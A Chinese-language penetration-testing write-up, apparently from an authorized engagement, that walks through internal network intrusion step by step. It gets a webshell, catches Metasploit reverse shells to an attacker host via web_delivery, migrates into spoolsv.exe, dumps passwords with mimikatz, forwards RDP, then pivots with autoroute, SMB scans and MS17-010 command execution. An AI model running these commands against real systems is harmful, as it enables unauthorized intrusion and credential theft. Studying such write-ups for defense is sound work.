實戰講解內網滲透思路
0x01 簡介
本次測試為實戰測試,測試環境是授權項目中的一部分,敏感信息內容已做打碼處理,僅供討論學習。由于本人在內網方面的掌握也是屬于新手階段,運用到的一些msf攻擊手法也很基礎,請各位表哥多多指教。
0x02 獲得shell
Getshell的過程沒什么好說的,無非簡單的后臺弱口令到上傳然后冰蝎連接getshell。獲得shell后,模擬終端ping 8.8.8.8有返回包,說明該服務器與外網互通。

既然跟外網互通,那么可以嘗試直接使用msf的exploit/multi/handler配合冰蝎反彈shell來獲得session
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost xxx.xxx.xxx.xxx set lport 5665 run

但是結果很不盡人意,沒能夠成功獲得session。在使用冰蝎模擬終端收集信息過程中,發現本地有powershell進程。

再次打開msf,本次嘗試使用web_delivery配合終端執行powershell指令來獲得session。
use exploit/multi/script/web_deliveryset targets 2set payload windows/x64/meterpreter/reverse_httpsset lhost xxx.xxx.xxx.xxxset lport 4332set srvportrun


獲得payload,使用冰蝎或者C刀模擬終端直接執行,成功獲得session,執行getuid發現權限為system權限,省去了提權過程。

0x03 權限維持
為了獲得一個持久穩定的高權限session,我們需要將當前的session進程遷移到一個持久、堅挺又穩定的進程上,防止突然暴斃(咳咳)。
我們使用ps查看當前進程,然后選中一個看起來比較持久的幸運兒spoolsv.exe(這是一個用來控制打印的進程,我遇到的機器基本都開啟了此進程)。
注意:選擇進程的時候優先選擇系統進程,這種比較持久且為system權限。
migrate 進程號 getpid

0x04 內網信息搜集
不管是在什么類型的滲透環境下,信息搜集永遠是不可缺少的一環,他決定了你滲透的效率,可以讓你在滲透過程中少走很多彎路,畢竟在項目上尤其是紅藍攻防中,最缺的永遠是時間。
接下來,查看IP信息以及arp緩存,查看網段分布情況:


發現該服務器只存在192.168.10.0/24網段的信息,于是繼續查看其他信息,發現服務器開放3389端口。
netstat -ano

既然開啟了3389端口,我們使用端口轉發,登錄到服務器看看有沒有意外收獲。
portfwd add -l 6666 -p 3389 -r 127.0.0.1
IP有了,3389開了,現在我們缺少的是用戶名密碼,直接meterpreter下加載mimikatz
Load mimikatzWdigest

比較遺憾的是沒能獲取到明文密碼,但是我這邊使用cobalt strike加載的mimikatz成功獲取到明文密碼,emmm總之搞不懂的地方先歸為玄學問題。

現在,密碼也有了,mstsc鏈接目標3389端口成功,此處涉及的敏感信息較多,放棄截圖,我盡量用語言表述清楚思路。
上傳netpass查看rdp緩存,無果,但是發現系統有VNC,查看VNC相關文件發現新的網段信息,但是沒有保存的連接信息,不過能獲得新的網段信息也是知足了。

至此,信息收集部分其實也就差不多,接下來我們開始嘗試橫向移動。
0x05 橫向移動
根據之前發現的網段信息以及服務器本機的路由信息,我們手動添加路由。
run autoroute -s 192.168.10.0/24 run autoroute -s 172.16.0.0/24 ……
其他網段同理,添加路由之后bg退回到控制臺,先使用auxiliary/scanner/smb/smb_version模塊掃描一下各網段的smb服務開啟情況。
use auxiliary/scanner/smb/smb_version set rhosts 192.168.10.0/24 set threads 10 run

可以看到,活著的機器還挺多。

使用auxiliary/scanner/smb/psexec_loggedin_users模塊配合已獲得的兩組賬戶密碼進行橫向。
use auxiliary/scanner/smb/psexec_loggedin_users set rhosts 192.168.10.0/24 set smbuser username set smbpass password set threads 5 run

尷尬,橫向失敗,居然沒有用同賬戶密碼

既然橫向失敗,可以考慮最簡單的,但也是最實用的大殺器,ms17-010,先使用scanner模塊掃描一下哪些機器可能存在ms17-010的漏洞。
use auxiliary/scanner/smb/smb_ms17_010 set rhosts 192.168.10.0/24 set thread 20 run

由于打ms17-010的流量比較大,為了防止死掉,我根據掃描出來的結果,針對性的選擇一臺感覺比較容易搞的目標,單獨打。
此處試了很多機器,好多都打了補丁,不過也有漏網之魚,此處單獨拿一臺示例:
use auxiliary/admin/smb/ms17_010_command set rhost 192.168.10.18 set command whoami run

成功執行,是system權限,同理command換成彈shell的命令,便可以獲得該機器的權限。

獲得新機器的權限之后,便可以圍繞新機器進行新一輪的信息搜集,然后不斷橫向,進一步擴大內網戰果,以下,就不在多做測試。
另外對于ms17-010,如果說打2003的機器,建議使用ms17_010_command模塊進行執行命令獲得session;其他的可以直接使用ms17_010_eternalblue或者ms17_010_psexec來直接獲得session。
0x06 寫在最后
咕某人提醒您:道路千萬條,安全第一條;滲透不規范,親人兩行淚。
以上滲透測試過程純屬本人杜撰,滲透是不可能滲透的,這輩子都不可能滲透的。
最后,對于過程中有任何疑問都可以評論留言,我會的會一一回復,不會的也能讓路過的表哥給康康,說不定表哥就給解決了呢,嘿嘿(發出了白嫖的笑聲)。